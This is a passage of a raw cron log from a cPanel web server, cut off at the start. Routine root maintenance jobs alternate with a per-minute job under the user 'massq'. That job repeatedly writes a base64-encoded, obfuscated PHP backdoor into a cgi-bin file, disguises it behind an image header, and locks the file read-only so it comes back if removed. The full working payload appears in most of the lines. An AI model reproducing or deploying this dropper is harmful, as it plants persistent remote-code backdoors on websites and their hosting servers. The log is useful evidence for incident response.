TRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:09:01 server CROND[31464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:09:01 server CROND[31462]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 03:09:01 server anacron[27880]: Job `cron.daily' started
Sep 11 03:09:01 server run-parts(/etc/cron.daily)[31481]: starting imunify-antivirus.cron
Sep 11 03:10:01 server CROND[31927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:10:01 server CROND[31928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:10:01 server CROND[31935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:10:01 server CROND[31933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:10:01 server CROND[31934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:10:01 server CROND[31936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:10:01 server CROND[31937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:10:01 server CROND[31938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:11:02 server CROND[404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:11:02 server CROND[406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:11:02 server CROND[405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:12:01 server CROND[792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:12:01 server CROND[794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:12:01 server CROND[796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:12:01 server CROND[795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:13:01 server CROND[1222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:13:01 server CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:13:01 server CROND[1225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:14:01 server CROND[1636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:14:01 server CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:14:01 server CROND[1637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:15:01 server CROND[2047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:15:01 server CROND[2049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:15:01 server CROND[2052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:15:01 server CROND[2051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:15:01 server CROND[2050]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:15:01 server CROND[2054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:15:01 server CROND[2053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:15:01 server CROND[2055]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 03:16:01 server CROND[3042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:16:01 server CROND[3043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:16:01 server CROND[3044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:17:01 server CROND[3414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:17:01 server CROND[3415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:17:01 server CROND[3416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:18:01 server CROND[3783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:18:01 server CROND[3784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:18:01 server CROND[3785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:19:01 server CROND[4206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:19:01 server CROND[4207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:19:01 server CROND[4208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:20:01 server CROND[4587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:20:01 server CROND[4589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:20:01 server CROND[4595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:20:01 server CROND[4603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:20:01 server CROND[4605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:20:01 server CROND[4600]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:20:01 server CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:20:01 server CROND[4602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:20:01 server CROND[4604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:21:01 server CROND[5420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:21:01 server CROND[5421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
